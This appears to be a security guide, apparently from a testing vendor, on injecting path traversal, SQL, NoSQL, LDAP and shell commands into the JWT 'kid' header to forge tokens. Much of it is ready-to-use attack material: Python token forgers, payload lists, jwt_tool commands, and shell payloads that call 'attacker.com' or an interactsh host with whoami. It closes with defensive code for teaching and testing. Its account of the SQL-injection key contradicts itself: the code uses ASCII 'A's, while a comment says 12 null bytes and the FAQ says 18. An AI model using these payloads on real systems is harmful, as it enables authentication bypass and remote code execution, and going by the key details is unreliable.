Injects SQL, path traversal, or OS commands into the kid (key ID) header parameter to control which key the server uses for JWT verification.
TL;DR
kid header to look up the signing key — inject into that lookup/dev/null), SQL injection, NoSQL injection, OS command injection, LDAP injectionkid="../../dev/null" → sign with empty HMAC secret → authentication bypasskid CMDi (CWE-78) → RCE on the serverThe kid (Key ID) parameter in a JWT header is an optional string that tells the server which key to use for verifying the token's signature. RFC 7515 §4.1.4 defines it as "a hint indicating which key was used to secure the JWS." It is meant to allow servers to maintain multiple active keys (for rotation) and select the correct one for each token.
The vulnerability arises when the server uses the kid value directly in IO operations without sanitization. Three common patterns are exploitable:
key = open(f"/keys/{kid}").read() — path traversal to read arbitrary fileskey = db.query(f"SELECT k FROM keys WHERE id='{kid}'") — SQL injectionkey = subprocess.run(f"load-key {kid}", ...) — OS command injectionThese are three different CWEs (CWE-22, CWE-89, CWE-78) manifesting through the same attack surface: an attacker-controlled JWT header field. The injection payload varies, but the goal is always the same — make the server use a key the attacker controls, then sign a forged token with that key.
OWASP A03:2021 (Injection) is the primary classification because the root cause is untrusted data in a command interpreter. CWE-89 (SQL Injection) is the primary CWE for the most common variant.
The simplest and most reliable path traversal payload:
{
"alg": "HS256",
"typ": "JWT",
"kid": "../../../../../../dev/null"
}/dev/null returns an empty byte string on Unix. If the server reads file content as the HMAC key, the effective key is b"" (empty bytes). The attacker signs with an empty HMAC secret:
import jwt, base64
def forge_devnull_kid(original_jwt: str) -> str:
"""Forge a token using /dev/null kid traversal."""
# Decode original payload
payload_b64 = original_jwt.split(".")[1]
padding = 4 - len(payload_b64) % 4
payload = jwt.decode(
original_jwt, options={"verify_signature": False}, algorithms=["HS256"]
)
# Modify claims
payload["role"] = "admin"
payload["exp"] = 9999999999
# Sign with empty secret (what /dev/null returns)
forged = jwt.encode(
payload,
key="", # empty HMAC secret
algorithm="HS256",
headers={"kid": "../../../../../../dev/null"}
)
return forged
# Also test with null bytes and single null byte variants
DEVNULL_VARIANTS = [
"../../../../../../dev/null",
"/dev/null",
"../../../../../../../../dev/null", # more traversal levels
"..%2F..%2F..%2F..%2F..%2F..%2Fdev%2Fnull", # URL-encoded
]When kid is used in a parameterless SQL query:
# Vulnerable server code (do not ship)
kid = jwt_header["kid"]
cursor.execute(f"SELECT k FROM jwt_keys WHERE id = '{kid}'") # SQLi here
signing_key = cursor.fetchone()[0]Attack payload:
{
"alg": "HS256",
"typ": "JWT",
"kid": "x' UNION SELECT 'AAAAAAAAAAAAAAAAAAAAAAAA' -- -"
}The injected UNION SELECT returns the attacker-chosen string AAAAAAAAAAAAAAAAAAAAAAAA as the key. The attacker signs their forged token with HMAC-SHA256 using the base64url-decoded value of that string as the key:
import hmac, hashlib, base64, json
SECRET = "AAAAAAAAAAAAAAAAAAAAAAAA" # 24 ASCII 'A' chars
# Or: SECRET = base64.urlsafe_b64decode("AAAAAAAAAAAAAAAA") # 12 null bytes
header = {"alg": "HS256", "typ": "JWT", "kid": "x' UNION SELECT 'AAAAAAAAAAAAAAAAAAAAAAAA' -- -"}
payload = {"sub": "attacker", "role": "admin", "exp": 9999999999}
def b64url(b):
return base64.urlsafe_b64encode(b).rstrip(b'=').decode()
h = b64url(json.dumps(header, separators=(',',':')).encode())
p = b64url(json.dumps(payload, separators=(',',':')).encode())
msg = f"{h}.{p}".encode()
sig = hmac.new(SECRET.encode(), msg, hashlib.sha256).digest()
forged = f"{h}.{p}.{b64url(sig)}"The highest-severity variant. If kid is passed to a shell:
# Vulnerable server code
import subprocess
kid = jwt_header["kid"]
result = subprocess.run(f"load-key.sh {kid}", shell=True, capture_output=True)Payload for OOB detection:
{
"alg": "HS256",
"kid": "/dev/null|wget http://attacker.com"
}{
"alg": "HS256",
"kid": "$(curl http://OOB.interactsh.com/$(whoami))"
}Time-based fallback (no OOB available):
{
"alg": "HS256",
"kid": "x;sleep 25 #"
}When kid is used in a MongoDB or similar NoSQL query:
{
"alg": "HS256",
"kid": {"$ne": null}
}This payload makes the query {id: {$ne: null}} match the first document in the collection — returning whatever key is stored there. The attacker can then sign tokens using that key value if it is known or guessable.
When kid is resolved via LDAP:
{
"alg": "HS256",
"kid": "*)(uid=*"
}LDAP filter becomes (id=*)(uid=*) — matching all entries. The attacker can enumerate or manipulate the key store depending on the LDAP implementation.
| Variant | Payload Example | Impact | CWE |
|---|---|---|---|
| Path traversal | ../../dev/null | Auth bypass (empty key) | CWE-22 |
| Path traversal (encoded) | ..%2F..%2Fdev%2Fnull | Auth bypass (WAF bypass) | CWE-22 |
| SQL injection | x' UNION SELECT 'AAAA' -- - | Auth bypass + DB read | CWE-89 |
| NoSQL injection | {"$ne": null} | Auth bypass | CWE-943 |
| OS command injection | $(whoami) / ;sleep 25 | RCE + auth bypass | CWE-78 |
| LDAP injection | *)(uid=* | Auth bypass + LDAP enumeration | CWE-90 |
HackerOne #1365894 — Fintech kid SQL Injection ($3,000)
A fintech platform's JWT verification code built a MySQL query using the kid field without parameterization: SELECT key FROM jwt_keys WHERE id = '${kid}'. Payload: x' UNION SELECT 'AAAAAAAAAAAAAAAAAAAAAAAA' -- -. The server returned the UNION result as the signing key. The attacker signed an admin-role token with HMAC using that value, accessed the /admin panel, and demonstrated full privilege escalation. Fixed by switching to a parameterized query (SELECT key FROM jwt_keys WHERE id = ?).
CVE-2022-21449 Exploitation Chain — kid + Psychic Signatures
Security researchers demonstrated a combined attack: first use kid path traversal to /dev/null to force an empty signing key, then use the Psychic Signatures (CVE-2022-21449) bypass on Java 15-18 to skip ECDSA verification. The combined attack worked against any Java JWT library on affected JVMs that also implemented kid path resolution.
Bug Bounty — kid CMDi via Shell Script (Critical, $10,000)
A security researcher found a fintech API that invoked a shell script to load signing keys: exec("sh /opt/keys/load.sh " + kid). OOB detection via Interactsh confirmed the injection: the kid payload $(curl http://abc.oast.fun/$(whoami)) triggered a DNS callback with www-data as the subdomain. The researcher demonstrated the path from authentication bypass to full RCE on the server. The kid parameter was being passed unvalidated directly from the JWT header.
Auth0 Blog — "Vulnerabilities in JSON Web Token Libraries"
Auth0's canonical 2015 research post documented the kid path traversal attack class alongside alg:none, noting that the kid field was commonly used to specify file paths — sometimes on production systems that loaded keys from disk. This established the attack as a known class requiring explicit mitigation in every JWT library and application.
alg header is HS256 (path traversal and SQLi are most effective against symmetric key lookups).kid field to ../../../../../../dev/null. Sign with an empty HMAC secret (in Burp JWT Editor: clear the "Secret Key" field or use the "Symmetric Key" option with an empty value). Send the request.kid to x' UNION SELECT 'AAAAAAAAAAAAAAAAAAAAAAAA' -- -. Sign the token with HMAC-SHA256 using AAAAAAAAAAAAAAAAAAAAAAAA (24 'A' chars) as the secret. Send the request. A 200 response with protected content confirms SQLi.kid to $(curl https://YOUR.interactsh.com/$(whoami)). Send the request. Monitor Interactsh for DNS/HTTP callbacks. If received, kid CMDi is confirmed.kid to x;sleep 25 #. Measure response time. If response takes 25+ seconds, CMDi is confirmed...%2F..%2Fdev%2Fnull, ..%252F..%252Fdev%252Fnull.jwt_tool kid injection tests:
# Path traversal variants
python3 /opt/jwt_tool/jwt_tool.py "$TOKEN" -I -hc kid -hv "../../dev/null" -S hs256 -p ""
# SQLi via tamper mode
python3 /opt/jwt_tool/jwt_tool.py "$TOKEN" -T # enter tamper mode, modify kid manuallyBurp Suite JWT Editor:
kid value in the "Header" section.BreachVex tests all six kid injection variants using a curated payload arsenal of 15+ entries per type, with out-of-band callbacks for command-injection detection and differential body validation for path-traversal and SQLi confirmation.
import re
# BAD — uses kid directly in file path
def get_key_bad(kid: str) -> bytes:
return open(f"/keys/{kid}").read() # path traversal!
# BAD — uses kid in SQL string concatenation
def get_key_bad2(kid: str) -> str:
return db.execute(f"SELECT k FROM keys WHERE id='{kid}'").fetchone()[0]
# GOOD — strict allowlist regex before any IO
KID_PATTERN = re.compile(r'^[a-zA-Z0-9_-]{1,64}$')
def get_key_good(kid: str) -> bytes:
# Step 1: validate format
if not KID_PATTERN.fullmatch(kid):
raise ValueError(f"Invalid kid format: {kid!r}")
# Step 2: parameterized query — never string interpolation
row = db.execute("SELECT k FROM keys WHERE id = $1", (kid,)).fetchone()
if row is None:
raise ValueError(f"Unknown kid: {kid!r}")
return row[0]# Most applications need only 2-3 active keys (current + previous for rotation)
# Store in-memory: no file IO, no DB query, no injection surface
KEY_MAP: dict[str, bytes] = {
"v2": os.environ["JWT_SIGNING_KEY_V2"].encode(),
"v1": os.environ["JWT_SIGNING_KEY_V1"].encode(), # deprecated, rotation window
}
def get_key_from_map(kid: str) -> bytes:
key = KEY_MAP.get(kid)
if key is None:
raise ValueError(f"Unknown kid: {kid!r}")
return key
# Verify JWT
def verify_jwt(token: str) -> dict:
header = jwt.get_unverified_header(token)
key = get_key_from_map(header["kid"]) # no IO — pure memory lookup
return jwt.decode(token, key, algorithms=["HS256"])OS command injection via kid (CWE-78) is not an authentication bypass — it is remote code execution. If the JWT verification code passes kid to any shell or subprocess, an unauthenticated attacker gains full server access. Audit every JWT library integration for shell invocation patterns. The kid field must never reach a shell, even indirectly.
The kid (key ID) header parameter in a JWT identifies which cryptographic key the server should use to verify the token's signature. If the application uses the kid value in a database query, file path, or OS command without sanitization, an attacker can inject SQL (CWE-89), path traversal (CWE-22), OS commands (CWE-78), NoSQL operators (CWE-943), or LDAP expressions (CWE-90) to control the verification key and forge tokens.
Setting kid to '../../../../../../dev/null' makes the server attempt to open /dev/null as the key file. /dev/null returns an empty byte string on Unix systems. The attacker signs the forged JWT with HMAC-SHA256 using an empty string (or null bytes) as the secret. If the server reads the file content as the HMAC key, it verifies against empty bytes — and the attacker's token passes.
If the server queries a key database as SELECT k FROM keys WHERE id = '{kid}', injecting kid="x' UNION SELECT 'AAAAAAAAAAAAAAAAAAAAAAAA' -- -" makes the query return 'AAAAAAAAAAAAAAAAAAAAAAAA' (a 24-byte known value). The attacker signs their forged token with HMAC using that value as the key — base64 decoded to 18 null bytes — and the server accepts it because its DB query now returns the attacker-controlled key.
If the kid value is incorporated into a shell command — for example, to load a key from an external store — an attacker can inject OS commands. Payloads like '/dev/null|wget http://attacker.com' or '$(curl http://attacker.com/$(whoami))' execute system commands on the server. This yields RCE in addition to authentication bypass, making it the highest-severity kid injection variant.
Yes. Many input filters check the raw kid string but not the URL-decoded version. Path traversal using URL-encoding: '..%2F..%2F..%2Fetc%2Fpasswd'. Double-encoding: '..%252F..%252F..%252Fetc%252Fpasswd' (decoded twice to '../../../etc/passwd'). These bypass WAF rules and application-level string filters that check for literal '../'.